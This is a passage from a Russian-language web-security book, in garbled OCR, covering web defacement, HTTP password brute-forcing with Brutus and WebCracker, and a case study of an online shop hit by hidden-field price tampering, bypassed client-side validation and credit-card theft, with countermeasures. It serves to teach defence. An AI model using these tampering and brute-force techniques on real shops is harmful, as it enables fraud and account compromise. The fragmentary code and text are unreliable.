Примером может служить ката
лог /admin/, в котором содержался PHP сценарий управления Web узлом. Этот сцена
рий позволил взломщику загрузить измененные Web страницы!
Известно не так много случаев, когда подмена содержимого Web узла выполнялась
необычным способом. Две из подобных атак связаны с подменой содержимого Web
узла журнала PC Week и узла
Их подробное описание можно найти в
следующих статьях:
•
"The PC Week hack" ---
• "How we defaced Apache" --- http://packetstormsecurity.nl/papers/general/how.
Программы подбора паролей HTTP
Как уже упоминалось, среди всех средств, предназначенных для подбора данных
HTTP аутентификации "в лоб", наиболее мощными являются утилиты Brutus
Обе программы обладают большой скоростью работы, поскольку для парал
лельной проверки нескольких пар "имя пользователя/пароль" в них используется не
сколько потоков. Еще раз отметим, что HTTP --- это один из протоколов, который меньше
всего защищен от подбора паролей "в лоб", поскольку Web серверы обычно рассчитаны
на обработку большого числа запросов. Утилиты Brutus и WebCracker способны перебрать
огромный список имен пользователей и паролей за считанные часы или даже минуты.
Brutus
Утилита Brutus работает под управлением Windows. Ее можно найти по адресу:
http://www.hoobie.net/brutus/. На самом деле эта утилита поддерживает много различ
ных протоколов, и ее использование не ограничивается возможностью подбора паро
лей "в лоб" только для протокола HTTP. Среди других протоколов, поддерживаемых
этой утилитой, можно выделить FTP, telnet,
и SMB.
На рис.
показано главное окно программы Brutus. В этом диалоговом окне
можно задать количество одновременных подключений, значение времени ожидания,
выбрать метод HTTP и номер HTTP порта.
Однако утилита Brutus не позволяет выполнять подбор пароля через proxy сервер
HTTP. Флажок Use Proxy обеспечивает возможность использования лишь proxy
сервера SOCKS.
Интересным свойством программы является также возможность изменения строк
паролей с использованием нескольких простых алгоритмов. На рис. 9.16 показано
диалоговое окно, в котором можно задать параметры генерации паролей.
WebCracker 4.0
Утилиту WebCracker 4.0 можно получить по адресу: http://packetstormsecurity.org/
Она предназначена исключительно для подбора "в лоб" паро
лей HTTP и позволяет использовать proxy сервер HTTP.
На рис.
и 9.18 показано, как программу WebCracker можно настроить для реа
лизации атаки
на Web узел Acme Travel Inc., направленной на подбор паро
ля Web сервера, запущенного по адресу
с использованием proxy
сервера
216
Часть III. Как они это делают
Рис.
Программа Brutus
Рис.
Параметры гене
рации паролей программы
Brutus
Рис. 9.17. Программа
позволяет вы
полнять подбор паролей
с использованием proxy
сервера HTTP
Г
Глава 9. Киберграффити
217
•
Рис.
Настройка параметров proxy сервера HTTP в программе
Cracker
В процессе работы в диалоговом окне утилиты WebCracker отображается список
потоков, а также применяемые пользовательские имена и пароли. После нахождения
удачной комбинации программа WebCracker завершает работу и отображает получен
ный результат, как показано на рис. 9.19.
Рис. 9.19. С использованием программы WebCracker учетная запись
успешно взломана
218
Часть III. Как они это делают
Контрмеры против взлома Web узла
компании Acme Travel, Inc.
К предпосылкам успешной реализации такой атаки можно отнести следующие:
• для успешной реализации атаки необходимо, чтобы внешние клиенты могли
воспользоваться proxy сервером для проникновения во внутреннюю сеть;
• возможность получения пользовательского имени и пароля HTTP аутентифика
ции путем их подбора "в лоб";
• возможность просмотра каталогов Web сервера.
Отключение реверсивного перенаправления
Чтобы предотвратить то, что произошло с proxy сервером компании Acme Travel,
необходимо отключить режим реверсивного перенаправления HTTP. Различные
Web серверы настраиваются по разному. На сервере по адресу
был установ
лен Apache 1.3.12. В конфигурационном файле httpd. c o nf содержатся следующие ди
рективы, предназначенные для связывания служб перенаправления с портом 8001:
Listen 8001
robeexample.com
/usr/local/apache/htdocs_8001/
redproxy
logs/8001 error_log
logs/8001 access_log common
on
</VirtualHost>
Директива Listen 8001 сообщает серверу о том, что порт 8001 необходимо прослуши
вать на обоих интерфейсах proxy сервера, связанных с адресами
и
Для того чтобы ограничиться прослушиванием порта 8001 со стороны внутренней се
ти
сервер Apache должен быть настроен
образом, чтобы порт 8001
был связан только с интерфейсом внутренней сети
Другими словами, необ
ходимо воспользоваться директивой Liste n следующего вида:
Listen 10.10.1.1:8001
После этого порт 8001 нельзя будет выявить в процессе внешнего сканирования.
Кроме того, в этом случае будет также блокироваться реверсивное перенаправление
запросов, передаваемых с внешних узлов.
Использование более надежных паролей
Для усиления механизма аутентификации HTTP с использованием конфигураци
онных параметров сервера больше ничего нельзя сделать. Единственная эффективная
контрмера заключается в использовании более надежных паролей, которые было бы
не так просто подобрать "в лоб". Увеличение длины пароля, использование алфавит
но цифровых и других символов разных регистров позволит значительно уменьшить
вероятность реализации успешной атаки.
Большинство Web серверов, в том числе и Apache, не позволяют блокировать учет
ные записи после нескольких неудачных попыток аутентификации и ограничивать
Глава 9.
число попыток регистрации. Системный администратор должен обращать при
стальное внимание на файлы журналов. В них может содержаться информация о
большом количестве запросов на получение доступа к защищенному ресурсу и о
передаче HTTP ответов 401 Authoriz ation Required. Это может свидетельствовать о
том, что кто либо предпринял попытку подобрать пользовательское имя и пароль.
Отключениережимапросмотракаталогов
Режим просмотра каталогов должен быть всегда отключен, если в нем нет острой
необходимости. На Web сервере компании Acme Travel. Inc. этот режим был включен.
Об этом свидетельствуют следующие строки из файла
Options IndexesAll
</Directory>
Рис. 9.20.
режима про
смотра каталогов на сервере IIS
При использовании директивы Options Indexes и при отсутствии документа, пре
доставляемого по умолчанию
сервер Apache будет генерировать список
файлов каталога и возвращать его клиентскому броузеру.
Практически все популярные Web серверы обеспечивают возможность включе
ния/отключения режима просмотра каталога. На рис. 9.20 показано диалоговое окно
параметров сервера IIS. При сбросе флажка Directory browsing режим просмотра ката
лога будет отключен.
Резюме
По видимому, к возникновению большинства изъянов приводят простые ошибки
и упущения, допускаемые при настройке программного обеспечения. Во многих слу
чаях подменить содержимое узла удается из за того, что взломщики используют хо
рошо известные изъяны Web серверов. На таких Web узлах, как http://alldas.org/,
можно найти
Web узлов, которые подверглись подмене, а также копию изме
220
Часть III. Как они это делают
страниц. Зачастую подобные атаки приводят к обнаружению новых дыр в
подсистеме зашиты. Иногда взломщик или группа злоумышленников подменяют со
держимое огромного количества Web узлов одновременно. В этой главе была рас
смотрена очень необычная атака. Цель злоумышленника заключалась в подмене со
держимого Web узла компании Acme Travel, Inc. Воспользовавшись Web страницей,
он без особых проблем мог разместить на сервере РНР или CGI сценарий и тем са
мым создать "потайную дверь" в системе Unix. После этого на сервере можно было
бы выполнять произвольные команды.
Глава 9. Киберграффити
221
ГЛАВА 10
магазинах
Наиболее распространенные и стандартные ошибки являются след
ствием безразличия.
Генри Дэвид Торо (1817 1862)
Введение
С момента появления компьютерные системы использовались для управления сер
верными операциями и позволяли упростить выполнение повседневных задач служа
Поскольку технологии постоянно развиваются, а развертывание систем стано
вится все более дешевым, в коммерческих организациях компьютеры стали все боль
ше и больше вовлекаться в процесс управления операциями. В начале 1990 х годов в
большинстве крупных промышленных предприятий компьютеры и компьютерные се
ти стали настоящей информационной основой с огромным количеством приложений,
которые были способны обрабатывать даже сложную бизнес логику.
Благодаря доступности и простоте использования Internet распространение
формации через Web стало очень популярным. Это позволило небольшим и средним
предприятиям предоставить информацию о себе и своих изделиях для обозрения все
му миру. Географическое местоположение магазина больше не играет существенной
роли. Многочисленные каталоги магазинов стали появляться и в электронной форме.
К концу 1990 х годов практически каждая крупная американская компания, выпус
кающая товары для потребителей, имела свой Web узел, на котором были представле
ны ее товары и услуги.
Поскольку Web приложения стали интенсивно развиваться, специалисты в области
торговли быстро поняли, что, кроме обычных магазинов, имеет смысл предложить
покупателям и электронные, в которых через Internet можно заказывать и оплачивать
необходимые товары. Так появился электронный торговый зал. Теперь компьютерные
сети и приложения были достаточно развиты, чтобы обеспечить эффективную и на
дежную обработку денежных транзакций.
Технологическая революция прошлого десятилетия существенно повлияла на спо
собы ведения бизнеса. Появились такие новые термины, как электронная коммерция
(e commerce) и электронный бизнес (e business). Кроме того, радикально изменилось
общее направление развития коммерческой сферы и применяемые в ней подходы.
Толчком к этим изменениям послужило большое количество новых технологий и стре
мительное развитие Internet. Всемирная сеть стала связующим звеном между объектами,
реализующими бизнес логику, и покупателями. Это позволило существенно расширить
ассортимент предоставляемых услуг. Для того чтобы оставаться конкурентоспособными,
компании начали менять свои краткосрочные и долгосрочные стратегии.
Для поддержки ключевых бизнес стратегий такие компании, как IBM, BEA,
Netscape, Sun и Microsoft, приступили к разработке различных строительных програм
мных блоков, основанных на современных информационных технологиях. В результа
те владельцы бизнеса и менеджеры стали широко использовать эти технологии и вес
ти торговлю через Internet. Поскольку новый электронный бизнес стал общедоступ
ным, он привлек также и внимание злоумышленников. Что может быть выгоднее, чем
проникновение в наиболее прибыльные системы? Теперь объектом для разбойничьих
нападений стала информационная супермагистраль. В этой главе описываются трюки,
используемые Internet грабителями для того, чтобы незаметно похитить что нибудь из
электронных магазинов. Подобные преступления и называются электронным воровст
вом
Структура электронного магазина
В электронной коммерции можно выделить два основных элемента: бизнес логику
и технологию. Надежная бизнес логика и технология могут принести успех в любой
области электронной коммерции, тогда как их изъяны способны привести к полному
'
Глава 10. Кражи в электронных магазинах
223
провалу. Преимущества и недостатки бизнес логики могут быть самыми разнообраз
ными, поэтому их полное описание не входит в задачи этой книги. Основное внима
ние уделяется технологическим элементам
коммерции.
На рис. 10.1 и 10.2 показаны схемы традиционной розничной торговли и элек
тронной коммерции.
Рис.
Схема традиционной розничной торговли
Склад товаров
Маркетинг
Web
Рис. 10.2. Элементы электронного магазина
Традиционным интерфейсом между компанией и покупателями является торговый
зал магазина. Покупатели заходят в магазин и выбирают товары, которые они хотят
приобрести. Ознакомившись с предлагаемым ассортиментом продукции и выбрав все
необходимые товары, покупатели подходят к кассе и оплачивают покупку.
Точно так же функционирует и электронный магазин. В его состав входит "торго
вый зал", или внешний интерфейс (store front end), электронная торговая тележка,
или корзина (shopping cart), и "пункт оплаты" (checkout station).
224
Часть III. Как они это делают
Торговый зал
В торговом зале электронного магазина демонстрируются предлагаемые товары.
При желании покупатель может изучить их более подробно и узнать цену. Исполь
зуемые в данном случае технологии главным образом должны обеспечить возмож
ность беспрепятственно перемещаться по торговому залу и предоставить всю необхо
димую информацию. Как правило, для реализации электронного торгового зала ис
пользуется динамический HTML.
Электронная торговая тележка
Торговая тележка используется для поддержки текущего сеанса обслуживания кли
ента и позволяет собирать необходимые товары перед их оплатой. Для реализации
этого компонента используются технологии, позволяющие осуществлять управление
сеансами, отслеживать их текущее состояние и взаимодействовать с внешним интер
фейсом. Для программной реализации электронной торговой тележки обычно исполь
зуются такие технологии, как Perl, PHP или ASP, либо уже готовые модули, содержа
щиеся в откомпилированных двоичных файлах или объектно ориентированных ком
понентах, например классах Java.
Пункт оплаты
Это подсистема обработки платежей, которая связывает электронный магазин с
банком или учреждением, занимающимся обработкой платежей по кредитным кар
точкам. Для обработки денежных транзакций существуют специализированные систе
мы (предоставляемые кредитными учреждениями), которые позволяют оплатить вы
бранные услуги или товары. Кроме того, подсистема обработки платежей гарантирует,
что заказ на доставку приобретенных товаров будет обработан подсистемой управле
ния складом, и инициирует процесс доставки товаров. После завершения обработки
каждой транзакции количество товара в электронном магазине изменяется.
База данных
В базе данных хранится информация о приобретенных товарах, состоянии склада,
финансовых транзакциях, покупателях и т.п.
Объединение всех элементов
На рис. 10.3 показано, как различные элементы электронного магазина объединя
ются вместе.
Эволюция электронных магазинов
Рассмотрим историю развития электронных магазинов в аспекте используемых техно
логий. Для реализации самых ранних электронных магазинов использовались сценарии на
таких языках, как Perl, которые выполнялись на Web сервере и взаимодействовали с одно
родными файлами, а не с базами данных. Подобные системы были гетерогенными, так
как в них использовались отдельные, не связанные друг с другом компоненты. Поскольку
Web технологии получали все большее развитие, такие компании, как Microsoft и Sun Mi
crosystems, приступили к разработке гомогенных контуров, предназначенных для создания
Глава 10. Кражи в электронных магазинах
225
приложений электронной коммерции. Позже к ним присоединились и другие компа
нии. Постепенно электронные магазины стали многоуровневыми приложениями, в
состав которых входило промежуточное программное обеспечение и двоичные компо
ненты среднего уровня, такие, как фильтры ISAPI и компоненты Java.
Торговый зал магазина
Электронная торговая
тележка
Подсистема
управления
сеансами
Рис. 10.3. Строительные блоки электронного магазина
Интеграция с базами данных позволила использовать в приложениях электронной
коммерции все преимущества таких реляционных баз данных, как SQL сервер компа
нии Microsoft, Oracle и MySQL.
Стали популярными технологии DHTML и Flash, благодаря которым процесс по
купок стал гораздо привлекательнее и приятнее. Однако на каждой стадии развития
технологий появлялись новые изъяны, а атаки взломщиков становились все более
масштабными. Случаев, связанных с воровством в электронных магазинах, станови
лось все больше. В настоящее время кражи информации и денег в Web стали настоль
ко частыми, что больше им нельзя не уделять внимания.
Каким же образом хакеры находят лазейки в системах электронной коммерции? Ни
что не происходит сразу. Всякий раз при установке или обновлении интерактивного
приложения объединяются различные технологии. Сфера коммерческой деятельности
развивается
чего нельзя сказать о программном обеспечении (которое
изменяется дискретно). Одновременное использование различных технологий и необхо
димость их согласования друг с другом приводят к тому, что в подсистеме защиты при
ложений в течение некоторого времени остаются различные уязвимые места.
Ниже перечислены основные причины наличия изъянов в приложениях электрон
ной коммерции.
• Недостаточная проверка входных данных.
• Неправильное использование данных cookie.
• Недостаточное отслеживание сеансов и состояний.
• Предположение о том, что код HTML и клиентские сценарии нельзя модифи
цировать.
• Некорректная интеграция с базой данных.
• Изъяны в программном обеспечении сторонних производителей.
226
Часть III. Как они это делают
Все эти причины будут проанализированы в оставшейся части главы при рассмот
рении деятельности одной компании, которая решила вести торговлю через Web.
Кражи в электронном магазине
компании Acme Fashions, Inc.
Компания Acme Fashions, Inc. занималась розничной продажей одежды через сеть
магазинов, разбросанных по всей стране. В магазины товары поступали с централь
ного склада. Кроме того, Acme Fashions продавала товары по каталогу и принимала
заказы от покупателей по телефону. В начале 1990 х годов Acme Fashions начала ис
пользовать систему Oracle, на базе которой была развернута система управления скла
дом и доставкой товаров. Это позволило компании значительно расшириться.
Поскольку в середине 1990 х годов популярность Web значительно возросла, ви
це президент компании Acme Fashions по вопросам маркетинга решил разместить
информацию о товарах на собственном Web узле
Для
создания электронного каталога группа маркетинга принялась усердно создавать
страницы HTML. Спустя несколько месяцев после развертывания Web узла объем
продаж вырос в три раза. Компания сделала свой первый шаг к использованию
электронного магазина.
Установка электронного магазина компании
Acme Fashions
В 1999 году компания Acme Fashions, Inc. широко распахнула двери для всего ми
ра, решив вести бизнес через World Wide Web. Руководители компании спешили по
скорее развернуть свой
чтобы успеть получить прибыль уже во время рож
дественских праздников 2000 года. Поскольку крайний срок стремительно прибли
жался, для создания электронного магазина было решено привлечь консалтинговую
компанию, специализирующуюся на разработке программного обеспечения для элек
тронной коммерции.
Для того чтобы презентация нового Web узла состоялась 1 ноября 2000 года, и
специалисты консалтинговой компании, и группа разработчиков Acme Fashions тру
дились день и ночь. Они хотели объединить созданный ранее электронный каталог с
коммерческой версией подсистемы выбора товаров (торговой тележ
кой). В конце концов все проблемы были решены и система была запущена. Ее архи
тектура показана на рис. 10.4.
Однако по мере роста объема продаж после появления Web узла в компанию
Acme Fashions стали поступать жалобы. Большинство из них касались бухгалтерии и
отдела управления товарами на складе. В бухгалтерию часто передавались жалобы о
том, что некоторые товары продаются по более низким ценам по сравнению с теми,
которые были указаны в каталоге, однако о каких либо скидках ничего не было из
вестно. Служащие, занимающиеся доставкой, были в полной растерянности при
получении заказа на доставку отрицательного количества товара. Из за сумасшед
шего темпа, характерного для рождественских каникул, все жалобы были отнесены
к разряду необъяснимых и не принимались во внимание. После того как общая по
терянная сумма достигла почти
000 и все попытки поиска источника проблемы
ни к чему не привели, руководство компании обратилось к группе экспертов в об
ласти безопасности.
Глава 10. Кражи в электронных магазинах
Складская
база данных
(Oracle)
База данных
каталога
(MS Access)
Торговый зал магазина
(ASP, HTML, JavaScript)
Подсистема выбора
товаров (торговая
тележка)
Подсистема управления
сеансами (cookie)
Рис. 10.4. Электронный магазин компании Acme Fashions, Inc.
Поиск
Торговый зал (storefront) электронного магазина компании Acme находился по ад
ресуhttp://www.acme fashions.com ибылреализован набазе следующихтехнологий.
Операционная система
Web сервер
Интерактивный каталог
Вспомогательная база данных
выбора товаров
Microsoft Windows NT 4 0
Microsoft Internet Information Server (IIS) 4.0
Шаблон и страницы ASP
Microsoft Access 2.0
Торговая тележка Shopcart.exe
Для создания каталога в формате HTML использовались шаблоны и страницы
ASP. Для автоматической генерации HTML страниц каталога использовалась база
данных FoxPro. Затем страницы помещались в базу данных Microsoft Access и свя
зывались со страницами ASP. На Web сервере была установлена подсистема выбора
товаров ShopCart.exe (торговая тележка). Для генерации кода HTML со ссылками на
подсистему выбора товаров были разработаны шаблоны ASP. Торговая тележка ис
пользовалась для хранения информации о выбранных товарах. Во время разработки
такое решение казалось самым легким и быстрым путем создания электронного
магазина.
В подсистеме выбора товаров ShopCart.exe существовал свой собственный модуль
управления сеансами, который поддерживал данные cookie и серверные идентифика
торы сеанса. Поскольку модифицировать подсистему ShopCart.exe было невозможно,
задача проверки входных данных полностью лежала на сценариях JavaScript, выпол
няемых в броузерах покупателей.
Группа экспертов приступила к поиску всех возможных точек входа в систему и
ее взлома. После изучения приложения и основных принципов функционирования
Web узла было обнаружено несколько интересных ошибок, связанных с обеспе
чением безопасности.
228
Часть III. Как они это делают
Скрытая опасность скрытых полей
В реализации подсистемы выбора товаров (торговой тележки) группа экспертов
обнаружила огромный изъян. Для связывания цены и товара использовались скрытые
дескрипторы страниц HTML. На рис. 10.5 показана страница, на которой представле
ны рубашки из каталога, расположенного по адресу
«7 in
Рис. 10.5. Страница каталога, взятая по адресу
acme
com/
С каждой рубашкой связана форма, позволяющая указать необходимое количество
рубашек и поместить их в электронную торговую тележку. Проанализировав исход
ный код (рис. 10.6), эксперты увидели, что изъян обусловлен несколькими последни
ми строками HTML кода.
Для запуска приложения ShopCart.exe использовался следующий код:
01: <form
02: <input
03:
type=hidden
04: <input type=hidden
05: Quantity: <input type=text
size 3
06:
07:
alt='Add To
08:
Глава 10. Кражи в электронных магазинах
II
Исходный HTML код страницы каталога
При щелчке на кнопке Buy броузер передаст на сервер запрос POST со значениями,
введенными в поля формы. Обратите внимание на три скрытых поля в строках кода 2,
3 и 4. Их значения были переданы на сервер вместе с запросом POST. Таким образом,
в системе существовал изъян на уровне приложения, поскольку перед тем, как пере
давать форму, значения скрытых полей можно изменить.
Для более глубокого понимания этой ситуации имеет смысл проанализировать
HTTP запрос, передаваемый броузером на сервер.
POST
HTTP/1.0
Referer;
Connection: Keep Alive
User Agent:
(Windows NT 5.0; U)
Host: www.acme fashions.com
Accept:
*/*
Accept Encoding: gzip
en
Content length: 65
Значения скрытых полей
Item, и Price передаются в запросе POST приложе
нию /cgi bin/shopcart.exe. Только таким образом ему можно "узнать" цену товара,
например рубашки OS0015. Отображаемый в окне броузера ответ показан на рис. 10.7.
230
Часть III. Как они это делают
acme fashions.com
Home
Out Order Status
Updated
To Update an
change the quantity options and click update.
delete to remove an item from the cart.
Qty
Total Update
TOTALS
Total
Total
$89.99
Plus sales t ax where applicable.
To Continue
Содержимое торговой тележки
Если бы существовал способ передачи запроса POST с модифицированным значени
ем поля Price, то можно было бы управлять ценой рубашки. В следующем запросе
POST содержится информация о том, что цена рубашки составляет всего $0.99 вместо
первоначальных $89,99!
POST http:
Connection: Keep Alive
User Agent:
(Windows NT 5.0;
Host: www.acme fashions.com
Accept: image/gif,
image/pjpeg,
*/*
Accept Encoding: gzip
en
Accept Charset:
Cookie:
65
Для манипулирования ценой проще всего сохранить страницу каталога
на локальном жестком диске, просмотреть в броузере ее локальную копию
и внести необходимые изменения в HTML код. На рис. 10.8 показано,
как можно сохранить локальную копию страницы.
Глава 10. Кражи в электронных магазинах
catalog/shirt asp
shirts
There are 7
Shirts
Socks
10.8. Сохранение локальной копии страницы на
жестком диске
Сначала нужно изменить значение поля Price в строке
"Price"
Второе изменение связано с модификацией значения
дескриптора
таким образом, чтобы в качестве ссылки использовался адрес
http://wvw.acme fashions.com/cgi bin/shopcart.exe.Нарис.10.9показанмодифициро
ванный файл shirts2.html.
Теперь при открытии в окне броузера модифицированного файла shir t s2.ht ml
и передаче запроса на покупку рубашки на экране появится окно, показанное на
рис. 10.10.
Что это --- уникальный способ заключения сделки или что нибудь другое? Как ни
странно, но это действительно оказалось той самой проблемой, из за которой компа
ния Acme Fashions, Inc. потеряла существенную часть своего дохода. После анализа
сделанных заказов и выполненных транзакций группа экспертов по вопросам безо
пасности обнаружила, что многочисленные посетители могли покупать товары по су
щественно заниженным ценам. Другими словами, в большинстве случаев "покупа
телями" были хакеры.
Вопросы риска, связанного с передачей информации в скрытых полях, обсуждают
ся в главе 7, где описано, как быстро находить скрытые поля в исходном коде. Взлом
приложений с использованием данных, передаваемых в скрытых полях, --- задача до
вольно тривиальная. Для ее осуществления не требуется особых навыков. Достаточно
уметь пользоваться броузером и, возможно, редактором vi системы Unix или блокно
том системы Windows. Полученный в результате эффект окажется по настоящему раз
рушительным.
232
Часть III. Как они это делают
totally Cotton
a
of
free with this
</tdx/tr>
<td
act
www.
i b
<input type hidden
<input
<lnput
;
To
</tr>
</td>
10.9. Файл
модифицированный для изменения цены
acme fashions.com
1
Shirts for $0.99 each
To Update an
the
options and update.
Click delete to remove an item from the cart.
(0.99
Update Delete
TOTALS
Sub Total
Total
$0.99
Plus sales tax where applicable.
To
Puc.
Результаты манипуляций со скрытым полем
Глава 10. Кражи в электронных магазинах
Использование механизмов поиска для обнаружения скрытых полей
Directory
and
site:
Us Add
Your Site •
and
Jobs Press Cool
•
10.11. Поиск с помощью механизма Google
Search
Tools
and
site:
com
The
In most
you
hit the return kef instead clicking on the
button.
I
j for
Inc. shirts
.
.
. hidden
<input
...
Acme
... hidden
.
•
•
Acme Fashions trousers
.
.
. hidden
Quantity:
...
s&p 14k
••
Puc,
Результаты поиска скрытых
полученные с использованием механизма Google
234
Часть III. Как они это делают
Чтобы быстро проверить, используются ли на Web узле или в приложении скры
тые поля, можно прибегнуть к любому из многих механизмов поиска, доступных в
Internet. Например, на рис.
показано, как с помощью механизма Google оп
ределить, используются ли на Web узле
скрытые поля, в ко
торых передается значение цены.
На рис. 10.12
результаты поиска: внутри домена www.acme fashions.com
были найдены все страницы, на которых содержатся строки type=hidden и
He забывайте, что поиск нужно выполнять только на нужном вам узле.
В противном случае придется анализировать огромное количество информации!
Обход проверки данных в клиентской
части приложений
Следующая ошибка, обнаруженная экспертами по вопросам безопасности, была
связана со способом проверки данных перед их передачей в подсистему выбора това
ров (электронную торговую тележку ShopCart.exe). Web приложения состоят из мно
жества сценариев и интерактивных компонентов, которые взаимодействуют с пользо
вателем в основном с помощью HTML форм. Интерактивная часть любого компо
нента получает входные данные из HTML формы. Затем эти данные обрабатываются
на сервере. HTML формы абсолютно незаменимы, когда необходимо получить какие
либо данные от пользователя. Однако в таких формах нельзя проверить корректность
этих данных. Например, если HTML форма предназначена для ввода даты, то пользо
ватель вполне может ввести дату 99 /8 8/ 7 7 . При этом броузер на такое значение никак
не отреагирует. В приложении должны использоваться собственные механизмы про
верки входных данных, позволяющие отфильтровывать некорректную информацию.
Проверку входных данных HTML форм можно выполнять либо с использованием
серверных сценариев Perl, PHP или ASP, либо с помощью клиентских сценариев, та
ких, как JavaScript или VBScript.
Разработчики компании Acme прекрасно осознавали необходимость проверки
входных данных. Однако торговая тележка ShopCart.exe представляла собой готовое
приложение, которое нельзя было модифицировать для реализации этого требования.
В результате разработчики решили проводить проверку входных данных в клиентских
сценариях, выполняющихся в самом броузере. Кто то из них даже отметил: "Да, это
неплохая идея, поскольку нагрузка на центральный процессор сервера будет гораздо
ниже. Пусть вместо него всю работу выполняет клиентский броузер".
Не вызывает сомнения тот факт, что можно без проблем изменить любой фраг
мент клиентской части приложения. Для этого достаточно отредактировать исходный
HTML код, переданный в броузер. Экспертами по вопросам обеспечения безопасно
сти на узле www.acme fashions.com было обнаружено несколько клиентских сценариев,
в которых выполнялась проверка входных данных. Если пользователь попытается ку
пить 5 рубашек, то на экране появится диалоговое окно с сообщением о вводе не
корректного значения.
На рис. 10.13 показан пример проверки входных данных, выполняемой с помощью
клиентского сценария JavaScript. Используемый при этом исходный код приведен ниже.
<script>
function
{||
<=0){
enter a valid
=1;
Глава 10. Кражи в электронных магазинах
return false;
}
else {return true;
}
</script>
<input type=text
size=3
.
acme fashions.com
10.13.
входных данных с использованием клиентского сце
нария JavaScript
Этот код обеспечивает ввод в поле gty только положительных чисел. Однако, по
скольку проверка выполняется в клиентском сценарии, ее легко обойти. Запретив вы
полнение сценариев JavaScript в броузере, взломщик сможет обойти проверку входных
данных в клиентской части приложения! Если сбросить флажок En able
претив таким образом выполнение сценариев JavaScript (рис. 10.14), то в поле можно
будет ввести любое значение.
На рис. 10.14 показано диалоговое окно параметров броузера Netscape, в котором
можно отключить режим выполнения сценариев JavaScript. Теперь, если для обозначе
ния количества товара ввести 3, броузер передаст на сервер следующий запрос POST:
POST
HTTP/1.0
Connection: Keep Alive
236
Часть III. Как они это делают
User Agent:
(Windows NT 5.0; U)
Host: www.acme fashions.com
Accept:
*/*
Accept Encoding: gzip
en
iso 8859 l,*,utf 8
Cookie:
shopcartstore=3009912
Content length: 63
Рис.
Отключение сценариев JavaScript
Обратите внимание, как такой
позволяет полностью обойти меха
низм проверки данных в клиентской части приложения. На рис.
показан от
вет сервера.
Из рис. 10.15 видно, что пользователь сделал заказ на 5 рубашек по $54,99 и 3 ру
башки по $89,99. Общая стоимость покупки составила всего $4,98. Возможность раз
мещения заказов на отрицательное количество товара и, таким образом, снижение
общей стоимости покупки, покупателям очень понравилась! Именно этот изъян и по
служил причиной поступления в
Acme заказов на отрицательное количест
во товара.
Руководство Acme Fashion, Inc. сделало вывод о том, что выполнять проверку
входных данных в клиентской части приложения крайне опасно и недопустимо. Кто
же виноват в этой ошибке? Ответственность за обнаруженный изъян полностью воз
лагается на разработчиков подсистемы выбора товаров ShopCart.exe. Проверка вход
ных данных должна выполняться именно в этом приложении. Однако, поскольку та
кой механизм в нем отсутствует, разработчики Web узла были вынуждены реализовать
эту проверку с использованием клиентских сценариев.
Даже в настоящее время во многих коммерческих подсистемах выбора товаров
(торговых тележках) не выполняется жесткая проверка входных данных. Для обозна
чения количества товара иногда можно использовать даже дробные числа. Другим
приложениям можно передавать метасимволы или входные данные большого размера,
приводящие к краху серверной части приложения.
Глава 10. Кражи в электронных магазинах
acme fashions.com
Home
View
Out Order Status Payment Options Help
Added quantity 5 of
Shirts for $54.99 each
To Update an
change the quantity options and click update.
Click delete to remove an item
the
Qty
AS8495 Acme Shirts
Total
Sub Total
Total
$4.98
$4.98
Plus sales tax where applicable.
Click To
Shopping
Покупка отрицательного количеств рубашек
Усовершенствование узла
После того как группа экспертов по вопросам безопасности предоставила свои
результаты, руководство компании Acme решило внести радикальные изменения в
свое приложение электронной коммерции. Была сформирована новая группа разра
ботчиков, которая должна была проанализировать существующую систему и при
необходимости переписать ее код. Используемая ранее коммерческая подсистема
выбора товара ShopCart.exe не позволяла сохранять в базе данных информацию о
товарах и ценах. Поэтому было решено разработать и использовать собственную
подсистему. Одновременно с этим было решено также перейти к недавно появив
шейся серверной платформе Windows 2000, под управлением которой работал Web
сервер 5.0 и интерпретатор ActivePerl. На этот раз разработчики воспользовались
свободно распространяемой в Internet подсистемой выбора товаров (торговой те
лежкой), написанной на языке
Все процедуры проверки входных данных, выполняемые в клиентской части при
ложения, были тщательно проверены, а неправильно используемые скрытые поля бы
ли удалены. Такие меры предосторожности должны были гарантировать отсутствие
старых ошибок. Новая система была готова 1 августа
года.
238
Часть III. Как они это делают
В
системе новая проблема
В бухгалтерию компании Acme 15 сентября пришел запрос от кредитной компа
нии, пытающейся отследить источник мошенничества с кредитными карточками. Так
случилось, что многие клиенты кредитной компании, сообщившие о случаях мошен
ничества, делали покупки на Web узле компании Acme Fashions между 1 августа и 1
сентября. В компании были убеждены в том, что информация о кредитных карточках
клиентов каким то образом была украдена у компании Acme.
Раньше руководство Acme Fashions уже сталкивалось с проблемами подмены цен и
успешно справлялось с ними. Теперь было необходимо решать вопрос о возможном
воровстве номеров кредитных карточек. Была приглашена другая группа экспертов,
которая должна была помочь в оценке ситуации.
Эксперты обнаружили, что в журналах Web сервера отсутствуют данные за 29 авгу
ста. На основе этого факта возникло предположение о том, что хакер мог удалить со
держимое файла
в котором эти дан
ные находились. Размер файла был уменьшен до 0 байт. Было абсолютно очевидно,
что для удаления данных из журналов Web сервера IIS хакер должен был обладать ад
министративными привилегиями по его управлению.
Поскольку никаких других доказательств вмешательства взломщика обнаружено не
было, группа экспертов могла лишь предполагать возможную причину взлома. При
исследовании содержимого жесткого диска оказалось, что файл
одно
временно присутствует в двух каталогах.
purchases.mdb /s
Volume in drive С is
Serial Number is
Directory of
08/29/2001 08:13p
2,624,136 purchases.mdb
1 File(s) 2,624,136 bytes
Directory of
08/29/2001 ll:33p
2,624,136 purchases.mdb
1 File(s) 2,624,136 bytes
Total Files Listed:
2 File(s) 5,248,272 bytes
0 Dir(s) 111,312,896 bytes free.
Каким же образом файл purchases.mdb из каталога C:\ACMEDATA был скопирован в
каталог
Системный администратор компании Acme Fashions под
твердил, что файл purchases.mdb использовался для хранения информации о заказах, а
именно: имени клиента, адреса доставки, перечня приобретенных товаров и номера
кредитной карточки, которая использовалась для оплаты покупки. Разработчики при
ложения уверяли руководство компании в том, что файлы базы данных хранятся за
пределами корневого каталога документов Web сервера
Поэто
му группа экспертов решила, что копия файла pur chase s.mdb была создана именно в
день совершения мошенничества --- 29 августа
года в
Это и была работа
хакера. Скорее всего, взломщик скопировал файл из каталога
в каталог
а затем загрузил его с использованием броузера, передав на сер
верзапросhttp://www.acme fashions.com/purchases.mdb.Однако после загрузкихакер,
вероятно, забыл удалить копию файла из каталога
Глава 10. Кражи в электронных магазинах
Удаленное выполнение команд
Тот
что файл был скопирован из одного местоположения в другое и что с
Web сервера были удалены журналы, позволяет сделать предположение о том, что
